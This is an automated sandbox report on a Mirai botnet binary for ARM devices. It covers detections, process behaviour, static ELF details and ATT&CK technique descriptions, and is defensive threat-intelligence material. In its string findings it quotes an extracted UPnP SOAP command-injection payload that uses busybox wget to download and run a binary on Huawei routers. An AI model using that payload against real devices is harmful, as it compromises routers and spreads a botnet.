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Linux Analysis Report
arm7.elf

Overview

General Information

Sample name:	arm7.elf
Analysis ID:	1524322
MD5:	af588c04cc7c73da2336a10aa7bde3f5
SHA1:	812b7a62288f95d6e44ee3cc7eb1280812cb7df2
SHA256:	07306a572bd37c316cddb9c879b43ad6050d2db6cb89f6aeaff0ce760e1d707c
Tags:	404CVE-2017-17215elfMiraiuser-NDA0E
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample reads /proc/mounts (often used for finding a writable filesystem)

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sleeps for long times indicative of sandbox evasion

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524322
Start date and time:	2024-10-02 18:23:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm7.elf
Detection:	MAL
Classification:	mal76.troj.linELF@0/0@0/0

Warnings

Skipping network analysis since amount of network traffic is too extensive
VT rate limit hit for: arm7.elf

Runtime Messages

Command:	/tmp/arm7.elf
PID:	6217
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	hail china mainland
Standard Error:

Process Tree

system is lnxubuntu20

arm7.elf (PID: 6217, Parent: 6133, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm7.elf

arm7.elf New Fork (PID: 6219, Parent: 6217)

arm7.elf New Fork (PID: 6229, Parent: 6219)

arm7.elf New Fork (PID: 6230, Parent: 6219)

arm7.elf New Fork (PID: 6237, Parent: 6230)

arm7.elf New Fork (PID: 6220, Parent: 6217)

arm7.elf New Fork (PID: 6222, Parent: 6217)

arm7.elf New Fork (PID: 6225, Parent: 6222)

arm7.elf New Fork (PID: 6372, Parent: 6222)

arm7.elf New Fork (PID: 6374, Parent: 6372)

dash New Fork (PID: 6291, Parent: 4334)

rm (PID: 6291, Parent: 4334, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.TjQ3WJqRTx /tmp/tmp.dEkSBaCYg2 /tmp/tmp.cgax66qtsO

dash New Fork (PID: 6292, Parent: 4334)

rm (PID: 6292, Parent: 4334, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.TjQ3WJqRTx /tmp/tmp.dEkSBaCYg2 /tmp/tmp.cgax66qtsO

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm7.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
arm7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6217.1.00007f20a4017000.00007f20a402f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6217.1.00007f20a4017000.00007f20a402f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6220.1.00007f20a4017000.00007f20a402f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6220.1.00007f20a4017000.00007f20a402f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6219.1.00007f20a4017000.00007f20a402f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6219.1.00007f20a4017000.00007f20a402f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6230.1.00007f20a4017000.00007f20a402f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6230.1.00007f20a4017000.00007f20a402f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: arm7.elf PID: 6217	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: arm7.elf PID: 6219	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: arm7.elf PID: 6220	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: arm7.elf PID: 6230	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 7 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm7.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm7.elf

ReversingLabs: Detection: 57%

Source: /tmp/arm7.elf (PID: 6217)

Socket: 127.0.0.1:1172

Jump to behavior

Source: arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/arm7.elf (PID: 6229)

SIGKILL sent: pid: 6292, result: no such process

Jump to behavior

Source: classification engine

Classification label: mal76.troj.linELF@0/0@0/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/arm7.elf (PID: 6219)

File: /proc/6219/mounts

Jump to behavior

Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6274/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6273/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6276/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6275/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6278/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6311/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6277/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6310/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6279/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6312/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6270/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6272/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6271/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6304/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6303/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6306/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6305/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6308/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6307/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6309/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6043/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6285/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6284/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6243/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6245/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6244/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6247/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6246/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6281/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6280/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6283/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6282/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/4334/cmdline	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6252/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6296/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6251/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6295/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6298/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6253/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6297/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6256/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6299/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6258/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6257/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6292/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6250/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6294/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6293/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6249/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6248/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6262/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6300/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6269/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6302/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6301/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6261/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6260/status	Jump to behavior
Source: /tmp/arm7.elf (PID: 6229)	File opened: /proc/6259/status	Jump to behavior

Source: /usr/bin/dash (PID: 6291)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.TjQ3WJqRTx /tmp/tmp.dEkSBaCYg2 /tmp/tmp.cgax66qtsO			Jump to behavior
Source: /usr/bin/dash (PID: 6292)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.TjQ3WJqRTx /tmp/tmp.dEkSBaCYg2 /tmp/tmp.cgax66qtsO			Jump to behavior

Source: /tmp/arm7.elf (PID: 6374)

Sleeps longer then 60s: 60.0s

Jump to behavior

Source: /tmp/arm7.elf (PID: 6217)

Queries kernel information via 'uname':

Jump to behavior

Source: arm7.elf, 6217.1.000055a77ed05000.000055a77ee7c000.rw-.sdmp, arm7.elf, 6219.1.000055a77ed05000.000055a77ee7c000.rw-.sdmp, arm7.elf, 6230.1.000055a77ed05000.000055a77ee7c000.rw-.sdmp, arm7.elf, 6220.1.000055a77ed05000.000055a77ee7c000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm7.elf, 6217.1.000055a77ed05000.000055a77ee7c000.rw-.sdmp, arm7.elf, 6219.1.000055a77ed05000.000055a77ee7c000.rw-.sdmp, arm7.elf, 6230.1.000055a77ed05000.000055a77ee7c000.rw-.sdmp, arm7.elf, 6220.1.000055a77ed05000.000055a77ee7c000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.elf, 6217.1.00007ffe1b293000.00007ffe1b2b4000.rw-.sdmp, arm7.elf, 6219.1.00007ffe1b293000.00007ffe1b2b4000.rw-.sdmp, arm7.elf, 6230.1.00007ffe1b293000.00007ffe1b2b4000.rw-.sdmp, arm7.elf, 6220.1.00007ffe1b293000.00007ffe1b2b4000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm7.elf, 6217.1.00007ffe1b293000.00007ffe1b2b4000.rw-.sdmp, arm7.elf, 6219.1.00007ffe1b293000.00007ffe1b2b4000.rw-.sdmp, arm7.elf, 6230.1.00007ffe1b293000.00007ffe1b2b4000.rw-.sdmp, arm7.elf, 6220.1.00007ffe1b293000.00007ffe1b2b4000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.elf
Source: arm7.elf, 6230.1.00007ffe1b293000.00007ffe1b2b4000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm7.elf, type: SAMPLE
Source: Yara match	File source: 6217.1.00007f20a4017000.00007f20a402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6220.1.00007f20a4017000.00007f20a402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6219.1.00007f20a4017000.00007f20a402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6230.1.00007f20a4017000.00007f20a402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 6217, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 6219, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 6220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 6230, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm7.elf, type: SAMPLE
Source: Yara match	File source: 6217.1.00007f20a4017000.00007f20a402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6220.1.00007f20a4017000.00007f20a402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6219.1.00007f20a4017000.00007f20a402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6230.1.00007f20a4017000.00007f20a402f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 6217, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 6219, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 6220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 6230, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Virtualization/Sandbox Evasion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm7.elf	58%	ReversingLabs	Linux.Trojan.Mirai
arm7.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	arm7.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	arm7.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.182637834683456
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm7.elf
File size:	101'016 bytes
MD5:	af588c04cc7c73da2336a10aa7bde3f5
SHA1:	812b7a62288f95d6e44ee3cc7eb1280812cb7df2
SHA256:	07306a572bd37c316cddb9c879b43ad6050d2db6cb89f6aeaff0ce760e1d707c
SHA512:	6362db9fdc827896cea66fc7366d277ddbaf7fd015f92a05ec1009f88cb6aaabfcdd64df41317a5c8888ef435d0570720e6c7ce3af45668cd1a654a10ae1e01e
SSDEEP:	3072:Z2dQqURFGRaXk6VC36gueP36hsg0IzR1P:Z+QZQRaXk6VC3Puc6hr0+R1P
TLSH:	5AA31946B9819F01D4D631F9FBAE418933136FBCE3FA71019920AF6427CA9DB0E76512
File Content Preview:	.ELF..............(.........4...........4. ...(........p,v..,...,...................................Dw..Dw..............Dw..Dw..Dw......la..............Hw..Hw..Hw..................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	100296
Section Header Size:	40
Number of Section Headers:	18
Header String Table Index:	17

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x159cc	0x0	0x6	AX	0	16
.fini	PROGBITS	0x1dabc	0x15abc	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x1dad0	0x15ad0	0x1b44	0x0	0x2	A	0	8
.ARM.extab	PROGBITS	0x1f614	0x17614	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x1f62c	0x1762c	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x27744	0x17744	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x27748	0x17748	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x27748	0x17748	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x2774c	0x1774c	0x4	0x0	0x3	WA	0	4
.jcr	PROGBITS	0x27750	0x17750	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x27754	0x17754	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x277fc	0x177fc	0x230	0x0	0x3	WA	0	4
.bss	NOBITS	0x27a2c	0x17a2c	0x5e84	0x0	0x3	WA	0	4
.comment	PROGBITS	0x0	0x17a2c	0xcf4	0x0	0x0		0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x18720	0x16	0x0	0x0		0	1
.shstrtab	STRTAB	0x0	0x18736	0x91	0x0	0x0		0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x1762c	0x1f62c	0x1f62c	0x118	0x118	4.4403	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x17744	0x17744	6.1522	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x17744	0x27744	0x27744	0x2e8	0x616c	4.1259	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x17748	0x27748	0x27748	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

System Behavior

Analysis Process: arm7.elf PID: 6217, Parent PID: 6133

General

Start time (UTC):	16:23:40
Start date (UTC):	02/10/2024
Path:	/tmp/arm7.elf
Arguments:	/tmp/arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm7.elf PID: 6219, Parent PID: 6217

General

Start time (UTC):	16:23:40
Start date (UTC):	02/10/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm7.elf PID: 6229, Parent PID: 6219

General

Start time (UTC):	16:23:40
Start date (UTC):	02/10/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm7.elf PID: 6230, Parent PID: 6219

General

Start time (UTC):	16:23:40
Start date (UTC):	02/10/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm7.elf PID: 6237, Parent PID: 6230

General

Start time (UTC):	16:23:40
Start date (UTC):	02/10/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm7.elf PID: 6220, Parent PID: 6217

General

Start time (UTC):	16:23:40
Start date (UTC):	02/10/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm7.elf PID: 6222, Parent PID: 6217

General

Start time (UTC):	16:23:40
Start date (UTC):	02/10/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm7.elf PID: 6225, Parent PID: 6222

General

Start time (UTC):	16:23:40
Start date (UTC):	02/10/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm7.elf PID: 6372, Parent PID: 6222

General

Start time (UTC):	16:26:17
Start date (UTC):	02/10/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm7.elf PID: 6374, Parent PID: 6372

General

Start time (UTC):	16:26:17
Start date (UTC):	02/10/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: dash PID: 6291, Parent PID: 4334

General

Start time (UTC):	16:24:13
Start date (UTC):	02/10/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6291, Parent PID: 4334

General

Start time (UTC):	16:24:13
Start date (UTC):	02/10/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.TjQ3WJqRTx /tmp/tmp.dEkSBaCYg2 /tmp/tmp.cgax66qtsO
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 6292, Parent PID: 4334

General

Start time (UTC):	16:24:13
Start date (UTC):	02/10/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6292, Parent PID: 4334

General

Start time (UTC):	16:24:13
Start date (UTC):	02/10/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.TjQ3WJqRTx /tmp/tmp.dEkSBaCYg2 /tmp/tmp.cgax66qtsO
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

